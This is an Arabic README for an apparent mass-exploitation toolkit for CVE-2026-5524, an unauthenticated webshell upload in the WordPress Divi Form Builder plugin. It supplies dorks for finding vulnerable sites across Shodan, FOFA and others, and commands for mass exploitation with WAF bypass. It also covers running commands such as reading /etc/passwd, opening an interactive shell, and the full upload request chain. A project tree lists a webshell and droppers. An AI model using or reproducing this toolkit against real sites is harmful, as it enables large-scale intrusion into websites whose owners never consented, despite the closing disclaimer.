CVE-2026-5524 — تنفيذ تعليمات برمجية عن بُعد (RCE) غير مُصادق عليه في Divi Form Builder

مجموعة أدوات استغلال جماعي لـ CVE-2026-5524، وهي ثغرة رفع ملفات عشوائية غير مُصادق عليها في إضافة WordPress Divi Form Builder <= 5.1.8 تؤدي إلى تنفيذ تعليمات برمجية عن بُعد.

المحتويات

• الوصف
• Dorks
• التثبيت
• الاستخدام
  • هدف واحد
  • استغلال جماعي
  • تجاوز متقدم
  • تنفيذ الأوامر
• تفاصيل الثغرة
• تقنيات التجاوز
• التقنيات المستخدمة
• هيكل المشروع
• مسار الهجوم
• إخلاء المسؤولية

الوصف

تحتوي إضافة Divi Form Builder لـ WordPress على ثغرة رفع ملفات عشوائية غير مُصادق عليها. يمرر المعالج do_image_upload() المعامل acceptFileTypes المُتحكَّم فيه من المستخدم مباشرةً إلى تعبير نمطي (regular expression) يُستخدم للتحقق من امتدادات الملفات. من خلال توفير قيمة مثل phtml، يمكن للمهاجم تجاوز قاعدة .htaccess الخاصة بالإضافة التي تحظر امتداد .php فقط ورفع webshell بامتداد قابل للتنفيذ بـ PHP (.phtml، .phar، .php5، .php7، وما شابه ذلك).

بمجرد وصول الملف إلى /wp-content/uploads/de_fb_uploads/، ينفذه Apache كـ PHP، مما يمنح المهاجم تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم خادم الويب.

تم إصلاح المشكلة في Divi Form Builder 5.1.9.

Dorks

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

التثبيت

المتطلبات: Python 3.8 أو أحدث على Linux أو macOS أو WSL.

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

الاستخدام

هدف واحد

python3 CVE-2026-5524.py -u https://target.com

استغلال جماعي

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

تجاوز متقدم

للأهداف الواقعة خلف WAF (NinjaFirewall، Wordfence، ModSecurity) أو ذات إعدادات Apache أو nginx مُحصَّنة.

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

تنفيذ الأوامر

بعد نجاح الرفع، يمكن للسكربت تنفيذ أمر فورًا أو الدخول إلى shell تفاعلي.

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

الخيارات

تفاصيل الثغرة

الكود المصاب

يبني المعالج المصاب تعبيرًا نمطيًا من مدخلات المستخدم دون تعقيم.

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

بإرسال acceptFileTypes=phtml، يصبح التعبير النمطي الناتج /\.(phtml)$/i مطابقًا لأسماء الملفات المنتهية بـ .phtml، حتى مع أن ملف .htaccess الخاص بالإضافة يحظر امتداد .php فقط. ثم ينفذ Apache الملف المرفوع كـ PHP، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.

سلسلة الهجوم المؤكدة

1. قم بزحف صفحة تتضمن نموذج Divi Form Builder (/، /contact، /quote، إلخ). أضف معامل ?nocache=<random> للتغلب على Varnish و WP Rocket وذاكرات التخزين المؤقت الأخرى للصفحات التي قد تقدم nonce قديمًا.

2. استخرج قيمة fb_nonce من كائن JavaScript المُترجم:

   root@kitploit:~

   de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
   

3. أرسل POST بنموذج multipart إلى /wp-admin/admin-ajax.php مع:

   root@kitploit:~

   action=de_fb_image_upload
   fb_nonce=<nonce>
   acceptFileTypes=phtml
   [email protected]
   

4. اقرأ عنوان URL للملف من استجابة JSON:

   root@kitploit:~

   {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
   

5. اطلب الـ shell بأمر مُرمَّز بـ base64:

   root@kitploit:~

   curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
   

تقنيات التجاوز

يجرب السكربت كل تقنية بترتيب الأولوية، وعند تفعيل --aggressive، يحاول كل واحدة حتى بعد أن يُبلّغ الرفع الأول عن النجاح.

التقنيات المستخدمة

سكربت الاستغلال

الـ shell المخصص (bypass.phtml)

هيكل المشروع

cve-2026-5524/
|-- CVE-2026-5524.py          Main exploit script
|-- bypass.phtml              16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml     Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml            Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt               Example target list
|-- pwned.jsonl               Generated by the -o flag during mass scans
|-- requirements.txt          Python dependencies
`-- README.md                 This document

مسار الهجوم

+--------------------------------------------------+
| 1. Recon                                         |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

إخلاء المسؤولية

تُقدَّم هذه الأداة لأغراض تعليمية وللاستخدام أثناء مهام اختبار الاختراق المصرح بها. تشمل أمثلة الاستخدام المقبول ما يلي:

• برامج مكافآت الثغرات التي تصرح صراحةً باختبار الهدف
• مسابقات Capture the flag وبيئات المختبرات المخصصة
• تقييمات الأمن الداخلي بإذن كتابي من مالك الأصل
• البحوث الأمنية الأكاديمية التي تُجرى في بيئة مُتحكَّم بها

يُعد الاستخدام غير المصرح به ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا لاختبارها غير قانوني في كل ولاية قضائية تقريبًا ومحظورًا تمامًا. لا يُقرّ المؤلف ولا يتحمل مسؤولية إساءة استخدام هذا الكود.

J'ai la permission et je suis autorisé à effectuer ce pentest. (لدي الإذن وأنا مصرح لي بإجراء اختبار الاختراق هذا.)

تشمل القوانين ذات الصلة المحتملة قانون UU ITE الإندونيسي، وقانون الاحتيال وإساءة استخدام الحاسوب الأمريكي، واتفاقية الجريمة الإلكترونية للاتحاد الأوروبي، والتشريعات المكافئة في أماكن أخرى. عند الشك، احصل على إذن كتابي أولًا.

الترخيص

للاستخدام التعليمي فقط. راجع قسم إخلاء المسؤولية للاطلاع على شروط الاستخدام الكاملة.